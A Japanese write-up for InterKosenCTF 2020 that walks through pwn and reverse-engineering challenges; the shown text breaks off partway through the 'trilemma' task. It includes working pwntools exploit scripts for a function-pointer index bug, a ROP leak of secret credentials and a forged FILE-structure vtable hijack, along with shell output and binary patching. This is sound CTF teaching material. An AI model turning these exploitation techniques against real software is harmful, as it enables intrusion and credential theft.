InterKosenCTF2020 Writeup
はじめに
InterKosenCTF 2020にNITICチームで参加しました。
結果は24/126位、個人では19/189位でした。
CTFに参加したのはこれで2回目で、初心者なりにいい結果を出せたんじゃないかと思います。
特にwarmupより上のPwnを解くことを目標にしていたので、それを2問分解けたのはとても嬉しかったです。
- はじめに
- babysort [warmup pwn, 49solves]
- authme [pwn, 20solves]
- Fables of aeSOP [pwn, 16solves]
- in question [warmup rev, 36solves]
- harmagedon [rev, 36solves]
- trilemma [rev, 26solves]
- ciphertexts [warmup crypto, 33solves]
- matsushima2 [warmup web, 46solves]
- limited [web+forensics, 40solves]
- 総括
babysort [warmup pwn, 49solves]
RELRO STACK CANARY NX PIE Partial RELRO No canary found NX enabled No PIE
#include <stdio.h> #include <stdlib.h> #include <unistd.h> typedef int (*SORTFUNC)(const void*, const void*); typedef struct { long elm[5]; SORTFUNC cmp[2]; } SortExperiment; /* call me! */ void win(void) { char *args[] = {"/bin/sh", NULL}; execve(args[0], args, NULL); } int cmp_asc(const void *a, const void *b) { return *(long*)a - *(long*)b; } int cmp_dsc(const void *a, const void *b) { return *(long*)b - *(long*)a; } int main(void) { SortExperiment se = {.cmp = {cmp_asc, cmp_dsc}}; int i; /* input numbers */ puts("-*-*- Sort Experiment -*-*-"); for(i = 0; i < 5; i++) { printf("elm[%d] = ", i); if (scanf("%ld", &se.elm[i]) != 1) exit(1); } /* sort */ printf("[0] Ascending / [1] Descending: "); if (scanf("%d", &i) != 1) exit(1); qsort(se.elm, 5, sizeof(long), se.cmp[i]); /* output result */ puts("Result:"); for(i = 0; i < 5; i++) { printf("elm[%d] = %ld\n", i, se.elm[i]); } return 0; } __attribute__((constructor)) void setup(void) { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); alarm(300); }
このようなプログラムとバイナリが渡されました。
5つの要素をソートするプログラムですが、昇順か降順か選択するときに、範囲外の数値(-1, 2など)がチェックされていないのが脆弱性です。
SortExperiment.cmpは関数のポインタが保存されていて、
qsort(se.elm, 5, sizeof(long), se.cmp[i]);
の部分で呼び出しています。
このse.cmp[i]をelmを参照するように差し向ければ、任意の関数を呼び出せそうです。
gdbでメモリの配置を調べてみます。
pwndbg> b qsort Breakpoint 2 at 0x7ffff7e2eb50: file msort.c, line 308. pwndbg> r Starting program: -*-*- Sort Experiment -*-*- elm[0] = 1 elm[1] = 2 elm[2] = 3 elm[3] = 4 elm[4] = 5 [0] Ascending / [1] Descending: 0 ... Breakpoint 1, 0x0000000000400921 in main () ... pwndbg> tel 10 00:0000│ rsp 0x7fffffffe368 —▸ 0x400926 (main+293) ◂— lea rdi, [rip + 0x177] 01:0008│ 0x7fffffffe370 ◂— 0x3 02:0010│ 0x7fffffffe378 —▸ 0x4009bd (setup+74) ◂— nop 03:0018│ rax rdi 0x7fffffffe380 ◂— 0x1 04:0020│ 0x7fffffffe388 ◂— 0x2 05:0028│ 0x7fffffffe390 ◂— 0x3 06:0030│ 0x7fffffffe398 ◂— 0x4 07:0038│ 0x7fffffffe3a0 ◂— 0x5 08:0040│ 0x7fffffffe3a8 —▸ 0x4007bd (cmp_asc) ◂— push rbp 09:0048│ 0x7fffffffe3b0 —▸ 0x4007df (cmp_dsc) ◂— push rbp
0x7fffffffe380からのメモリを見るに
elm[0] elm[1] elm[2] elm[3] elm[4] cmp[0] cmp[1]
という配置になってるようです。
cmp[-1]はちょうどelm[4]にあたるので、elm[4]にwin関数のアドレスを入れて、昇順か降順か選択するときに-1を入れればwin関数が起動しそうです。
win関数のアドレスを調べます。
pwndbg> print win
$1 = {<text variable, no debug info>} 0x400787 <win>
pwndbg> print 0x400787
$2 = 4196231
それではやってみましょう。
$ ./chall
-*-*- Sort Experiment -*-*-
elm[0] = 0
elm[1] = 1
elm[2] = 2
elm[3] = 3
elm[4] = 4196231
[0] Ascending / [1] Descending: -1
$ ls
chall flag.txt main.c
$ cat flag.txt
KosenCTF{DummyFlag}
フラグが入手できました。(フラグは偽物です)
authme [pwn, 20solves]
RELRO STACK CANARY NX PIE Partial RELRO No canary found NX enabled No PIE
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int auth = 1; char username[0x20]; char password[0x20]; void init(void) { FILE *fp; /* read secret username */ if ((fp = fopen("./username", "r")) == NULL) { puts("[-] Please report this bug to the admin"); exit(1); } fread(username, sizeof(char), 0x20, fp); fclose(fp); /* read secret password */ if ((fp = fopen("./password", "r")) == NULL) { puts("[-] Please report this bug to the admin"); exit(1); } fread(password, sizeof(char), 0x20, fp); fclose(fp); } int main() { char buf[0x20]; init(); puts(" _ _ __ __ ______ "); puts(" /\\ | | | | | \\/ | ____|"); puts(" / \\ _ _| |_| |__ | \\ / | |__ "); puts(" / /\\ \\| | | | __| '_ \\| |\\/| | __| "); puts(" / ____ \\ |_| | |_| | | | | | | |____ "); puts(" /_/ \\_\\__,_|\\__|_| |_|_| |_|______|\n"); printf("Username: "); if (fgets(buf, 0x40, stdin) == NULL) return 1; if (strcmp(buf, username) != 0) auth = 0; printf("Password: "); if (fgets(buf, 0x40, stdin) == NULL) return 1; if (strcmp(buf, password) != 0) auth = 0; if (auth == 1) { puts("[+] OK!"); system("/bin/sh"); exit(0); } else { puts("[-] NG!"); exit(1); } } __attribute__((constructor)) void setup(void) { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); alarm(60); }
このようなプログラムとバイナリが渡されました。
usernameとpasswordが合ってたらシェルをくれるようです。
脆弱性はchar buf[0x20];に対してfgets(buf, 0x40, stdin)としているため、0x20バイト分のBufferOverFlowが起こります。
これを使いROPすることが考えられますが、プログラムの最後がexit()で終了するためプログラムを最後まで実行する方法ではROPはできません。
そこで目につくのが
if (fgets(buf, 0x40, stdin) == NULL) return 1;
の部分ですね。fgetsがNULLになればreturnで終了してくれるため0x20からrbp分を引いた0x18=3 QWORDのROPが成立します。
fgetsがNULLになる条件を調べてみると、wikipediaで
戻り値は stream の先頭が EOF だった場合もしくは途中でエラーが起こった場合は NULL、それ以外の場合は s である。
との記述がありました。EOFを送ればNULLを返してくれるようです。
EOFを送る方法ですが、「pwntools send eof」と調べるとissueが見つかりました。この最初の方でtube.shutdownについて言及されてるので調べてみます。
shutdown(direction = "send")
Closes the tube for futher reading or writing depending on direction.
Parameters: direction (str) – Which direction to close; “in”, “read” or “recv” closes the tube in the ingoing direction, “out”, “write” or “send” closes it in the outgoing direction.
- http://docs.pwntools.com/en/stable/tubes.html#pwnlib.tubes.tube.tube.shutdown
合ってそうですね。tube.shutdown("send")で出力方向を閉じる＝EOFを送信することができるみたいです。
EOFを送信したらそれ以降通信できないから無理じゃ？と思いますが、手作業で調べてみると入力の送信は不可能ですが相手の出力の読み取りは可能みたいです。EOFは単にストリームの終端という意味だけであって、通信を終わらせる意味は無いってことですね。
ではROPが成立できたのでペイロードを考えます。入力の送信が不可能なので、シェルを起動してフラグを取るのはできなさそうです。
そのため、username, passwordを窃取してログインすることを考えます。
username, passwordはグローバル変数のためbssセクションに格納され、なおかつNo PIEなのでアドレスもわかっています。あとはROPで出力させるだけです。
def solve(io): chall = ELF("./chall") bin_sh_str = 0x400ca8 pop_rdi = 0x0000000000400b03 leak_addr = 0x006020c0 # usernmae # leak_addr = 0x006020e0 # password payload = b"" # padding payload += b"A" * (0x20 + 0x8) # ROP payload += p64(pop_rdi) payload += p64(leak_addr) # puts(leak_addr) payload += p64(chall.plt["puts"]) log.info(payload) io.recvuntil("Username: ") # fgetsはn-1文字を取得するため、末尾の1文字を減らしておく io.send(payload[:-1]) # EOFを送る io.shutdown("send") # putsでleak_addrにある文字列が出力されるため、それを読み取る print(io.recvall())
b"Password: DummyUsername\n\n _ _ __ __ ______ \n /\\ | | | | | \\/ | ____|\n / \\ _ _| |_| |__ | \\ / | |__ \n / /\\ \\| | | | __| '_ \\| |\\/| | __| \n / ____ \\ |_| | |_| | | | | | | |____ \n /_/ \\_\\__,_|\\__|_| |_|_| |_|______|\n\nUsername: "
usernameを窃取することができました。同様にpasswordも窃取し、ログインすればフラグが得られます。
これは終了ギリギリまで解けなかったんですが、ひたすらEOFを送る方法を探していたら解法を見つけました。usernameが出てきたときは興奮のあまりもう飛び上がりました。
Fables of aeSOP [pwn, 16solves]
RELRO STACK CANARY NX PIE Full RELRO Canary found NX enabled PIE enabled
╦┌┐┌┌┬┐┌─┐┬─┐╦╔═┌─┐┌─┐┌─┐┌┐┌╔═╗╔╦╗╔═╗
║│││ │ ├┤ ├┬┘╠╩╗│ │└─┐├┤ │││║ ║ ╠╣
╩┘└┘ ┴ └─┘┴└─╩ ╩└─┘└─┘└─┘┘└┘╚═╝ ╩ ╚
╔═╗╔═╗╔═╗╔═╗
╔═╝║ ║╔═╝║ ║
╚═╝╚═╝╚═╝╚═╝
全部載せのバイナリとbanner.txtというファイルが渡されます。
要約すると、bufferがグローバル変数で用意されていて、
banner.txtをfopenして表示
シェルを起動するwin関数のアドレスを教えてくれる
実質 No PIE
gets(buffer)
bss領域でBufferOverFlow
banner.txtをfclose
という流れです。調べるとbuffer+0x200にbanner.txtのFILE構造体のポインタが用意されてるみたいです。
FILE構造体を使ったpwnの手法があったような...と思い出し調べると、作問者様の記事が見つかります。
さて、FILE構造体を利用したexploit手法としてFILE Structure Oriented Programmingがあります。
_IO_FILE_plus構造体のvtableは次のようなアドレス一覧になっており、例えばfclose関数が呼ばれると_IO_close_tのアドレスが呼び出されます。
詳しくは記事を見てください。偽の_IO_FILE_plusと_IO_jump_tを用意してFILE構造体のポインタを偽のに向けることで、RIPを取れるみたいです。
記事には最近は検知機構があると書いてありますが、ないことを祈ってとりあえず愚直に書いてみます。
def solve(io): for i in range(7): io.readline() s = io.readline() win = int(s[10:], 16) bin_base = win - 0x00000a5a log.info(f"bin base = {bin_base:x}") buf_addr = bin_base + 0x00202060 log.info(f"buf addr: {buf_addr:x}") fakeFile = FileStructure(null=buf_addr) fakeFile.vtable = buf_addr + len(bytes(fakeFile)) payload = b"" # fake _IO_FILE_plus payload += bytes(fakeFile) # fake _IO_jump_t payload += p64(win) * 21 payload += b"A" * (0x200 - len(payload)) # overwrite FILE pointer payload += p64(buf_addr) io.sendline(payload)
pwntoolsにFileStructureという_IO_FILE_plusを作ってくれる便利なものがあったのでそれを使っています。
vtableは面倒臭かったので全部winで埋めました
FileStructure(null=buf_addr)はnullのまま進めたらセグフォが起こったので書きこみ可能なbssのアドレスを入れとけばなんとかなるやろ！wという精神です（は？）
この世の全てに祈りながら実行してみます。
[+] Starting local process './chall': pid 1125
[*] bin base = 5555c874a000
[*] buf addr: 5555c894c060
[*] Switching to interactive mode
Congratulations!
$ ls
banner.txt chall core flag.txt libc-2.23.so solve.py
$ cat flag.txt
KosenCTF{DummyFlag}
フラグを取ることができました。日頃の行いのおかげですね。
in question [warmup rev, 36solves]
$ file chall
chall: ELF 64-bit MSB *unknown arch 0x3e00* (SYSV)
$ ./chall
Usage: ./chall <FLAG>
$ ./chall hoge
Wrong...
$ ./chall KosenCTF{
Wrong...
不明なアーキテクチャのバイナリです。FLAGが合っているかどうか判定するプログラムですね。
radare2で解析ができたので処理を見ていきます。
[0xa501400000000000]> aaaaaa [0xa501400000000000]> afl 0x0001051e 5 10206 -> 38 fcn.0001051e 0x00012ad8 13 143 fcn.00012ad8 0x00012287 2 22 fcn.00012287 0x00010541 3 158 fcn.00010541 0x00011d2c 16 390 fcn.00011d2c 0x000102ba 7 83 fcn.000102ba 0x000105df 10 150 fcn.000105df 0x000101bb 2 866 -> 94 fcn.000101bb 0x000101e0 4 50 -> 40 fcn.000101e0 0x000120a0 25 392 fcn.000120a0 0x0001030e 1 1 fcn.0001030e 0x00010120 1 3 fcn.00010120 0x00010491 4 32 fcn.00010491 0x00010130 6 117 fcn.00010130 0x0001030f 28 386 fcn.0001030f 0x000123aa 12 170 fcn.000123aa 0x000125c3 1 53 fcn.000125c3 0x00012880 13 115 fcn.00012880 0x000126a3 7 137 fcn.000126a3 0x00012490 10 103 fcn.00012490 0x00012454 4 60 fcn.00012454 0x00011eed 12 196 fcn.00011eed 0x0001083e 3 23 fcn.0001083e 0x00012303 1 12 fcn.00012303 0x000122bf 7 68 fcn.000122bf 0x00010855 7 150 fcn.00010855 0x0001230f 8 134 fcn.0001230f 0x000107e3 4 32 fcn.000107e3 0x00012228 1 14 fcn.00012228 0x00010803 8 59 fcn.00010803 0x00010675 37 366 fcn.00010675 0x00012272 11 112 -> 90 fcn.00012272 0x00011ec0 1 45 fcn.00011ec0 0x00012730 29 329 -> 291 fcn.00012730 0x00012395 3 21 fcn.00012395 0x00012978 16 274 fcn.00012978 0x000108eb 184 2787 fcn.000108eb 0x000113ce 147 2398 fcn.000113ce 0x00012577 3 71 fcn.00012577 0x00012925 1 16 fcn.00012925 0x000128f3 6 50 fcn.000128f3 0x0001201d 4 131 fcn.0001201d 0x00011fb1 5 108 fcn.00011fb1 0x000124f7 1 3 fcn.000124f7 0x00012950 3 40 -> 37 fcn.00012950 0x00012b19 11 221 fcn.00012b19 0x000125f8 14 171 fcn.000125f8 0x00012bf6 1 25 fcn.00012bf6 0x00012c1b 15 164 fcn.00012c1b 0x00010281 3 32 fcn.00010281 0x000102b0 5 154 -> 67 fcn.000102b0
どうやらstaticでstrippedなバイナリなようです。こういうときは結果から追うのが早いと思います。
[0xa501400000000000]> / Wrong
Searching 5 bytes in [0x10000-0x17ef8]
hits: 2
0x00012d1b hit2_0 .FLAG>Correct!Wrong.../dev/null.
0x000137a4 hit2_1 .No medium foundWrong medium typeMul.
[0xa501400000000000]> pd 1 @ 0x00012d1b
; DATA XREF from fcn.00010130 @ 0x10193
;-- hit2_0:
0x00012d1b 57 push rdi
このように表示されている文字列を探して、pdコマンドを打つと文字列を参照しているアドレスを見つけることができます。
処理を追っていくと、
│ │ 0x0001017a e83b010000 call fcn.000102ba │ │ 0x0001017f 85c0 test eax, eax │ │ 0x00010181 89c3 mov ebx, eax │ │┌─< 0x00010183 750e jne 0x10193 │ ││ 0x00010185 488d3d862b00. lea rdi, qword [0x00012d12] ; "Correct!" │ ││ 0x0001018c e84e040000 call fcn.000105df │ ┌───< 0x00010191 eb0e jmp 0x101a1 │ │││ ; CODE XREF from fcn.00010130 @ 0x10183 │ ││└─> 0x00010193 488d3d812b00. lea rdi, qword [hit2_0] ; 0x12d1b ; "Wrong..."
という処理が目につきます。成否を判定しているfcn.000102baが怪しいですね。
冒頭は意味のないノイズ的な処理が混ざってますが、重要なのは下の部分です。
│ ┌─> 0x000102e1 39c8 cmp eax, ecx │ ┌──< 0x000102e3 7d25 jge 0x1030a │ │╎ 0x000102e5 418a1400 mov dl, byte [r8 + rax] │ │╎ 0x000102e9 4132540001 xor dl, byte [r8 + rax + 1] │ │╎ 0x000102ee 89c7 mov edi, eax │ │╎ 0x000102f0 4080f7ff xor dil, 0xff ; 255 │ │╎ 0x000102f4 0fb6d2 movzx edx, dl │ │╎ 0x000102f7 31fa xor edx, edi │ │╎ 0x000102f9 0fb63c06 movzx edi, byte [rsi + rax] │ │╎ 0x000102fd 48ffc0 inc rax │ │╎ 0x00010300 39fa cmp edx, edi │ │└─< 0x00010302 74dd je 0x102e1 │ │ 0x00010304 b801000000 mov eax, 1 │ │ 0x00010309 c3 ret │ │ ; CODE XREF from fcn.000102ba @ 0x102e3 │ └──> 0x0001030a 31c0 xor eax, eax └ 0x0001030c c3 ret
ここで成否判定が行われているようですね。
処理を読んでくと、
[r8 + rax] xor [r8 + rax + 1] xor (0xff xor rax) == [rsi + rax]
という判定をし、真ならばraxをインクリメントして続行という形ですね。
r8やrsiの中身を見たいのでradare2のデバッグ機能を使います。
[0xa501400000000000]> ood KosenCTF{ # ここで引数を指定できる
[0xa501400000000000]> s 0x04002e1 # PIEが有効なのか、探すとこのアドレスに先ほどの処理がある
[0x040102e1]> pd 1
0x004002e1 39c8 cmp eax, ecx
[0x00402291]> db 0x004002e1
[0x004001a5]> dc
hit breakpoint at: 4002e1
[0x004002e1]> pd 10
;-- rip:
0x004002e1 b 39c8 cmp eax, ecx
┌─< 0x004002e3 7d25 jge 0x40030a
│ 0x004002e5 418a1400 mov dl, byte [r8 + rax]
│ 0x004002e9 4132540001 xor dl, byte [r8 + rax + 1]
│ 0x004002ee 89c7 mov edi, eax
│ 0x004002f0 4080f7ff xor dil, 0xff ; 255
│ 0x004002f4 0fb6d2 movzx edx, dl
│ 0x004002f7 31fa xor edx, edi
│ 0x004002f9 0fb63c06 movzx edi, byte [rsi + rax]
│ 0x004002fd 48ffc0 inc rax
[0x004002e1]> dr
rax = 0x00000000
rbx = 0x00000002
rcx = 0x00000009
rdx = 0x7ffcc0b05030
r8 = 0x7ffcc0b066d6
r9 = 0x00000000
r10 = 0x00000000
r11 = 0x00000246
r12 = 0x00400152
r13 = 0x7ffcc0b05030
r14 = 0x00000000
r15 = 0x00000000
rsi = 0x00604030
rdi = 0x7ffcc0b066e0
rsp = 0x7ffcc0b04fc8
rbp = 0x7ffcc0b05018
rip = 0x004002e1
rflags = 0x00000246
orax = 0xffffffffffffffff
[0x004002e5]> px @ r8
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x7fff03b3b6d6 4b6f 7365 6e43 5446 7b00 5348 454c 4c3d KosenCTF{.SHELL=
[0x004002e1]> px @ rsi
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x00604030 dbe2 ebf7 d6ed ebc5 e8a2 abee d8c1 aeb7 ................
0x00604040 c4c5 f1b0 abc1 d0be e7ba d6ce eb9f 0000 ................
r8は引数、rsiは怪しげなバイト列のアドレスでした。
[r8 + rax] xor [r8 + rax + 1] xor (0xff xor rax) == [rsi + rax]
これは、正解の文字列をans、rsiのバイト列をkey、raxをiとすると
ans[i] ^ ans[i+1] ^ (0xff xor i) == key[i]
ans[i+1] == key[i] ^ ans[i] ^ (0xff ^ i)
と変換することができます。つまり一文字前がわかっていれば次の文字列が求められます。
これを解くプログラムを書きます。
s = b"\xdb\xe2\xeb\xf7\xd6\xed\xeb\xc5\xe8\xa2\xab\xee\xd8\xc1\xae\xb7\xc4\xc5\xf1\xb0\xab\xc1\xd0\xbe\xe7\xba\xd6\xce\xeb\x9f" flag = "K" for i, si in enumerate(s): flag += chr(s[i] ^ flag[i] ^ (0xff ^ i)) print(flag)
$ python3 solve.py
KosenCTF{d0nt_l3t_th4t_f00l_u}
フラグを取得できました。
ちゃんとアセンブリを読めば解ける問題でしたが、最初はstringsで出てきた大量の?を見て、「この?の数を加工すればフラグになるに違いない！」と考えアセンブリを全く見ずに考えていました（は？）
harmagedon [rev, 36solves]
Enclose the flag with
KosenCTF{}
と問題文にありました。バイナリが渡されます。
$ ./harmagedon
which is your choice? [fRD3]f
which is your choice? [H26S]H
which is your choice? [93Py]9
which is your choice? [LRZu]L
which is your choice? [z1C}]z
which is your choice? [ylQC]y
which is your choice? [g9-5]g
which is your choice? [GiMI]G
which is your choice? [oyVd]o
which is your choice? [{Wxh]{
which is your choice? [JXAC]J
try harder.
文字を4択で選ぶのを11回繰り返すようですね。フラグの文字列かどうか判定してくれそうです。
4**11 = 4194304 = 5*106程度なので全探索を考えます。
最初はpwntoolsでprocessを繋ごうと思いましたが、コンテスト中に終わらないことがわかったので諦めてアセンブリを読みます。
main関数はないようで、エントリポイントからコードが書かれています。
入力する文字はどれも4択の中から選んだものとして、要約すると下のようになります。
│ ┌─> 0x004000b6 49ffc2 inc r10 │ ╎ 0x004000b9 b87c7cb700 mov eax, 0xb77c7c │ ╎ 0x004000be 4839d8 cmp rax, rbx │ ┌──< 0x004000c1 0f84da000000 je loc.congratz │ │╎ 0x004000c7 b80b000000 mov eax, 0xb ; 11 │ │╎ 0x004000cc 4c39d0 cmp rax, r10 │ ┌───< 0x004000cf 0f8ce9000000 jl loc.goodbye ... │ ││╎ 0x0040013e 8a04259457b5. mov al, byte [loc.inputbuf] ; [0xb55794:1]=0 │ ││╎ 0x00400145 4831c9 xor rcx, rcx │ ││╎ 0x00400148 3a84193f0260. cmp al, byte [rcx + rbx + loc.buf] ... │ ┌─────< 0x0040015b 7435 je loc.valid │ ││││╎ 0x0040015d 48ffc1 inc rcx │ ││││╎ 0x00400160 3a84193f0260. cmp al, byte [rcx + rbx + loc.buf] (この処理が3回続く) ... │ └└└└────> 0x00400192 4801cb add rbx, rcx │ ││╎ 0x00400195 48ffc3 inc rbx │ ││╎ 0x00400198 48c1e302 shl rbx, 2 │ ││└─< 0x0040019c e915ffffff jmp loc.f
loc.bufが怪しいので調べます。
[0x004000b0]> pxx @ loc.buf
- offset - 0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF
0x0060023f fRD3H26SYmug1WnJK-5m93Pyb-z-WaonCrm931bmx4qDkcJQcOUCpuHYO3zyk_s6
0x0060027f Ds4ty6RmMnCg{8ID4oaALRZuUMohNuWgNpvpWFAOJDof-YzKwf2}{TDNem1EmPfS
0x006002bf _2o-YGvh1aJ_aoX_hB7COKi6V8Fwvm{Th9cc1K}tMAkOIwp0}eY{yhtPlTSNwM8h
0x006002ff O}Lru8pzAGp_Oe}3xjNYQ{D6B9IE6qwLc1d8AqNKPypDwjug_NBkeL0JP5AOrrr9
どうやら4択に表示する文字列が入っているみたいですね。
処理を読んでコードにすると、このような形になります。
# caseは選択する文字のインデックス(0,1,2,3)の配列 # strings ./harmagedon | grep fRD3 > buf.txt with open("buf.txt", "rb") as f: s = f.read() def harmagedon(case): rbx = 0 flag = "" for r10 in range(1, 12): rbx += case[r10 - 1] flag += chr(s[rbx]) rbx += 1 rbx <<= 2 if rbx == 0xb77c7c: print(flag) exit()
これを全探索します。
# ネットから拾ってきたp進bit全探索の関数 def iter_p_adic(p, n): from itertools import product tmp = [range(p)] * n return product(*tmp) def main(): for case in iter_p_adic(4, 11): harmagedon(case)
$ python3 solve.py Ruktun0rDi3
フラグがゲットできました。
最初はangrで解けるのかな～と思っていましたが、angrは全く触ったこともなかったし現実的な時間で解けるのかもわからない(は？)
楽せずにアセンブリをちゃんと読もう！（自戒）
trilemma [rev, 26solves]
libcitizen.so, libemperor.so, libslave.so, main.cが渡されます。
/** $ gcc main.c -L./ -lemperor -lcitizen -lslave $ LD_LIBRARY_PATH=./ ./a.out */ #include <stdio.h> char *emperor_flag(void); char *citizen_flag(void); char *slave_flag(void); int main(void) { printf("The flag is %s%s%s\n", emperor_flag(), citizen_flag(), slave_flag()); return 0; }
フラグを出力するプログラムですね、なんだ簡単じゃん(いいえ)
動かす方法が書いてあったのでコンパイルして実行してみます。
$ gcc main.c -L./ -lemperor -lcitizen -lslave $ LD_LIBRARY_PATH=./ ./a.out [libslave.so] Citizen despises slave.
よくわからない文字列が出力されました。libslave.soで問題が起きているようです。
radare2で見てみます。
[0x00000800]> aaaaaa
[0x00000800]> afl
0x00000800 4 50 -> 40 entry0
0x000007b0 1 6 sym.imp.mmap
0x000007d0 1 6 sym.imp.fwrite
0x000007c0 1 6 sym.imp.exit
0x00000790 1 6 loc.imp.emperor_secret
0x00000780 1 6 sym.imp.dl_iterate_phdr
0x000007a0 1 6 sym.imp.__stack_chk_fail
0x00000750 3 23 sym._init
0x00000c90 1 9 sym._fini
0x00000840 4 66 -> 57 sym.register_tm_clones
0x00000890 5 58 -> 51 entry.fini0
0x000008d0 1 10 entry.init0
0x00000b6c 5 115 sym.lookup
0x00000000 5 185 -> 170 loc.imp._ITM_deregisterTMCloneTable
0x000007e0 1 6 sym.imp.strstr
0x000008da 9 328 sym.slave_secret
0x00000a22 6 330 sym.slave_flag
0x00000bdf 7 177 sym.slave
[0x00000800]> / [libslave.so] Citizen despises slave.
Searching 37 bytes in [0x202073-0x202078]
hits: 0
Searching 37 bytes in [0x201df8-0x202073]
hits: 0
Searching 37 bytes in [0x0-0xe4c]
hits: 1
0x00000ce0 hit2_0 .libemperor.so[libslave.so] Citizen despises slave.[libslave.so].
[0x00000800]> pd 1 @ 0x00000ce0
; DATA XREF from sym.slave @ 0xc2f
;-- str.libslave.so__Citizen_despises_slave.:
;-- hit2_0:
0x00000ce0 .string "[libslave.so] Citizen despises slave.\n" ; len=39
[0x00000800]> pdf @ 0xc2f
┌ 177: sym.slave ();
│ ; var int64_t var_10h @ rbp-0x10
│ ; var int64_t var_ch @ rbp-0xc
│ ; var int64_t var_8h @ rbp-0x8
│ 0x00000bdf 55 push rbp
...
in questionと同じ方法で辿っていくと、slave関数が悪さをしているようです。
重要な部分のみ抜き出すと、下のようになります。
│ 0x00000c14 85c0 test eax, eax │ ┌─< 0x00000c16 742d je 0xc45 │ │ 0x00000c18 488b05d91320. mov rax, qword [reloc.stderr] ; [0x201ff8:8]=0 │ │ 0x00000c1f 488b00 mov rax, qword [rax] │ │ 0x00000c22 4889c1 mov rcx, rax ; FILE *stream │ │ 0x00000c25 ba26000000 mov edx, 0x26 ; '&' ; size_t nitems │ │ 0x00000c2a be01000000 mov esi, 1 ; size_t size │ │ 0x00000c2f 488d3daa0000. lea rdi, qword str.libslave.so__Citizen_despises_slave. ; hit2_0 │ │ ; 0xce0 ; "[libslave.so] Citizen despises slave.\n" ; const void *ptr │ │ 0x00000c36 e895fbffff call sym.imp.fwrite ; size_t fwrite(const void *ptr, size_t size, size_t nitems, FILE *stream) │ │ 0x00000c3b bf01000000 mov edi, 1 ; int status │ │ 0x00000c40 e87bfbffff call sym.imp.exit ; void exit(int status) │ │ ; CODE XREF from sym.slave @ 0xc16 │ └─> 0x00000c45 8b45f4 mov eax, dword [var_ch]
test eax, eax; je 0xc45という分岐があり、jeが成立しないとexitされるようです。
よくわからないので成立するように書き替えてしまいましょう(脳死)
r2 -w ./challで開くと書き込みが可能になります。
(中で書き込みを有効にするコマンドもあった気がしたけど忘れた)
[0x00000800]> "wa je 0xc45" @ 0x00000c16 Written 2 byte(s) (je 0xc45) = wx 742d [0x00000800]> pd 1 @ 0x00000c16 │ ┌─< 0x00000c16 742d je 0xc45 [0x00000800]> "wa jmp 0xc45" @ 0x00000c16 Written 2 byte(s) (jmp 0xc45) = wx eb2d [0x00000800]> pd 1 @ 0x00000c16 │ ┌─< 0x00000c16 eb2d jmp 0xc45
これで無条件でジャンプするようになりました。
実は下にも同じような処理があるので、それも書き替えてしまいましょう。
では実行してみます。
$ LD_LIBRARY_PATH=./ ./a.out [libcitizen.so] Emperor manipulates citizen.
libcitizen.soで問題があるようですね。
実はlibslave.soと同様にlibcitizen.so, libemperor.soにも先ほどと同じような処理があります。
他二つについても書き替えてしまいましょう。その後また実行してみます。
$ LD_LIBRARY_PATH=./ ./a.out [libcitizen.so] Resource conflicts.
まだ問題があるようです。radare2で再度確認してみます。
先ほどと同じように辿ってみます。
[0x00000800]> / [libcitizen.so] Resource conflicts.
Searching 35 bytes in [0x202073-0x202078]
hits: 0
Searching 35 bytes in [0x201df8-0x202073]
hits: 0
Searching 35 bytes in [0x0-0xe5c]
hits: 1
0x00000ca8 hit3_0 .HH[libcitizen.so] Resource conflicts.libemperor.so.
[0x00000800]> pd 1 @ 0x00000ca8
; DATA XREF from sym.citizen_secret @ 0x937
; DATA XREF from sym.citizen_flag @ 0xa82
;-- str.libcitizen.so__Resource_conflicts.:
;-- section..rodata:
;-- .rodata:
;-- hit2_0:
;-- hit3_0:
0x00000ca8 .string "[libcitizen.so] Resource conflicts.\n" ; len=37 ; [14] -r-- section size 150 named .rodata
citizen_secretとcitizen_flagから参照されているようです。
flagとあるのでcitizen_flagから見てみます。重要な部分を抜き出すと、下のようになります。
│ 0x00000a2d 41b900000000 mov r9d, 0 ; size_t offset │ 0x00000a33 41b8ffffffff mov r8d, 0xffffffff ; int fd │ 0x00000a39 b932800000 mov ecx, 0x8032 ; int flags │ 0x00000a3e ba03000000 mov edx, 3 ; int prot │ 0x00000a43 be00100000 mov esi, 0x1000 ; size_t length │ 0x00000a48 48bf00000000. movabs rdi, 0x3fee00000000 ; 70291434766336 ; void*addr │ 0x00000a52 e849fdffff call sym.imp.mmap ; void*mmap(void*addr, size_t length, int prot, int flags, int fd, size_t offset) │ 0x00000a57 488945f0 mov qword [var_10h], rax │ 0x00000a5b 48b800000000. movabs rax, 0x3fee00000000 ; 70291434766336 │ 0x00000a65 483945f0 cmp qword [var_10h], rax │ ┌─< 0x00000a69 742d je 0xa98 │ │ 0x00000a6b 488b05861520. mov rax, qword [reloc.stderr] ; [0x201ff8:8]=0 │ │ 0x00000a72 488b00 mov rax, qword [rax] │ │ 0x00000a75 4889c1 mov rcx, rax ; FILE *stream │ │ 0x00000a78 ba24000000 mov edx, 0x24 ; '$' ; size_t nitems │ │ 0x00000a7d be01000000 mov esi, 1 ; size_t size │ │ 0x00000a82 488d3d1f0200. lea rdi, qword str.libcitizen.so__Resource_conflicts. ; hit2_0 │ │ ; 0xca8 ; "[libcitizen.so] Resource conflicts.\n" ; const void *ptr │ │ 0x00000a89 e842fdffff call sym.imp.fwrite ; size_t fwrite(const void *ptr, size_t size, size_t nitems, FILE *stream) │ │ 0x00000a8e bf01000000 mov edi, 1 ; int status │ │ 0x00000a93 e828fdffff call sym.imp.exit ; void exit(int status)
mmap(0x3fee00000000, 0x1000, 3, 0x8032, 0xffffffff, 0)を最初に呼び出し、返り値が0x3fee00000000でなかったらexitするといった処理です。
mmapの返り値は成功すると確保したメモリのアドレス=第一引数を返します。
返り値が第一引数と等しくないということは、mmapに失敗しているようです。
citizen_secretの方も見てみると同じような処理がありますが、mmapのアドレスは0x3fcc00000000でした。
ここで、libslave.so, libemperor.soについても_flagと_secretを見てみます。
mmapで確保するアドレスを表にすると、このようになります。
| slave | citizen | emperor | |
|---|---|---|---|
| _flag | 0x3fcc00000000 | 0x3fee00000000 | 0x3f5500000000 |
